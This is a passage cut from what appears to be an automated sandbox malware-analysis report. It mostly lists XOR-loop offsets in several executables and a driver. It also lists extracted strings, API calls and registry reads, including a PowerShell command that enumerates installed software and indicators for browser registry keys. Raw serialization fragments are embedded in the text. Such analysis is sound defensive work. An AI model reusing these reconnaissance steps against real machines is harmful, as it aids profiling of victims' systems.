loop in file "uzbektajik.exe" at offset 1280417; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1368143; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1389416; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1618957; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1647948; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1659880; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1715964; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1754676; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1759875; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1765668; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1797774; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1840802; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1843617; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1857367; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1863768; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1960948; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1978361; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 1986426; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 2298864; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 2325301; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 2416787; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 3112358; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 3171236; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 3171244; code bytes = 33c1 Found XOR loop in file "uzbektajik.exe" at offset 38975; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39045; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39098; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39123; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39470; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39501; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39749; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39827; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 39864; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 40112; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 40144; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 40411; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 40675; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 41178; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 41242; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 41435; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 41652; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 41867; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 41997; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 42033; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 42149; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 42389; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 42516; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 42552; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 44663; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 45656; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 47292; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 47369; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 47775; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 47985; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 48062; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 48814; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 49843; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 49924; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 50285; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 50456; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 50558; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 50759; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 51484; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 52298; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 52344; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 52515; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 53014; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 57492; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 60286; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 61206; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 61232; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 62003; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 62425; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 62502; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 62841; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 62888; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 63066; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 63081; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 63091; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 63723; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 63749; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 63861; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 64132; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 64568; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 64857; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 65396; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 65813; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 65836; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 66715; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 69120; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 69575; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 69672; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 69792; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 70228; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 70389; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 71306; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 72501; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 72571; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 73322; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 73479; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 73574; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 73669; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 73969; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 74056; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 74183; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 74270; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 74699; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 74786; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 75015; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 75091; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 75255; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 75644; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 75908; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 76114; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 76804; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77084; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77096; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77149; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77168; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77467; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77479; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77528; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77535; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77658; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 77665; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78112; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78163; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78248; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78373; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78400; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78677; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78743; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 78896; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 79110; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 79361; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 79917; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 79959; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 80226; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 80306; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 80681; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 283357; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 517664; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 518144; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 518624; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 518992; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 519317; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 527746; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 727147; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1101921; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1218994; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1271512; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1423557; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1493651; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1616494; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1803693; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1813716; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1831773; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 1982076; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2186796; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2201298; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2490646; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2490658; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2589271; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2616568; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2641207; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 2934640; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 3103368; code bytes = 8030 Found XOR loop in file "uzbektajik.exe" at offset 3104798; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 209668; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 252623; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 276729; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 314600; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 336693; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 352483; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 392207; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 421185; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 432325; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 444299; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 563445; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 607553; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 703627; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 725585; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 752258; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 752784; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 941554; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1033227; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1088763; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1382851; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1382987; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1385119; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1385507; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1386211; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1388163; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1388387; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1389043; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1389079; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1389823; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 1389935; code bytes = 30d0 Found XOR loop in file "helper.exe" at offset 72663; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 74933; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 95294; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 153129; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 195039; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 282765; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 304038; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 533579; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 562570; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 574502; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 630586; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 669298; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 674497; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 680290; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 712396; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 755424; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 758239; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 771989; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 778390; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 875570; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 892983; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 901048; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 1213486; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 1239923; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 1331409; code bytes = 33c1 Found XOR loop in file "helper.exe" at offset 16543; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 133616; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 186134; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 338179; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 408273; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 531116; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 718315; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 728338; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 746395; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 896698; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 1101418; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 1115920; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 1405268; code bytes = 8030 Found XOR loop in file "helper.exe" at offset 1405280; code bytes = 8030 Found XOR loop in file "jep0nmpc32hk.sys" at offset 25110; code bytes = 30d0 Found XOR loop in file "jep0nmpc32hk.sys" at offset 64346; code bytes = 30d0 Found XOR loop in file "jep0nmpc32hk.sys" at offset 36054; code bytes = 33c1 Found XOR loop in file "jep0nmpc32hk.sys" at offset 39179; code bytes = 33c1 Found XOR loop in file "jep0nmpc32hk.sys" at offset 42548; code bytes = 33c1 Found XOR loop in file "jep0nmpc32hk.sys" at offset 10085; code bytes = 8030 Found XOR loop in file "jep0nmpc32hk.sys" at offset 15469; code bytes = 8030 Found XOR loop in file "jep0nmpc32hk.sys" at offset 15716; code bytes = 8030 Found XOR loop in file "jep0nmpc32hk.sys" at offset 25925; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 838789; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 840464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1523770; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1559234; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1634878; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1640214; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2105167; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2311591; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 846343; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 876770; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1500501; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1535708; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1582162; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1583328; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1611701; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2122167; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 193497; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 366340; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 875002; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1028873; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1500476; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2288035; code bytes = 80302f:T480,Found string "istry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found string "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found string "chine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found string ""powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00006976-00000C47-1987002958") Found string "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "AMSI")30:T638,file/memory contains long string with (Indicator: "postmessage"; File: "08CDAAB5F3E7B7B54B4C3C07A397B42E961D6250") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00008084-00000C2C-2968933027") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00008084-00000C2C-2968933081") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WTSSendMessageW" (Indicator: "sendmessage"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "enumwindows"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "ystem.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp")31:T162e,"file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006548) "file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006548) "file.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006548) "uzbektajik.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006976) "uzbektajik.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006976) "uzbektajik.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006976) "helper.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006700) "helper.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006700) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008084)32:T467,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000620200004064b023620200008064b023620200000600000600b100000050ae23 (UID: 00000000-00008084) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e00650078006500000004020000a063179e04020000e063179e040200000500000547b90000c0a9159e (UID: 00000000-00006552) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f0985f33fe7f0000000100000000000000010000000000000000000000000000e80fd12dfe7f000001000000000000000f36d02dfe7f00000000000000000000e80fd12dfe7f00004d00330032005c00986af908890000000100000000000000ff37d02dfe7f000000000000000000000000000000000000f00fd12d (UID: 00000000-00003480)33:T454,Found string "SELECT * FROM %Q.%Q" (Indicator: "select * from "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "SELECT 2 * total(1 + leaves_end_block - start_block) FROM (SELECT * FROM %Q.'%q_segdir' WHERE level = ? ORDER BY idx ASC LIMIT ? )" (Indicator: "select * from "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "SELECT * FROM "%w"."%w_rowid" WHERE rowid=?1" (Indicator: "select * from "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "SELECT * FROM %Q.'%q_rowid'" (Indicator: "select * from "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0)" (Indicator: "select * from "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "select * from Win32_OperatingSystem" (Indicator: "select * from "; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp")34:T6a9,"file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "uzbektajik.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "uzbektajik.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "itsub.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "helper.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "helper.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "tasklist.exe" (Path: 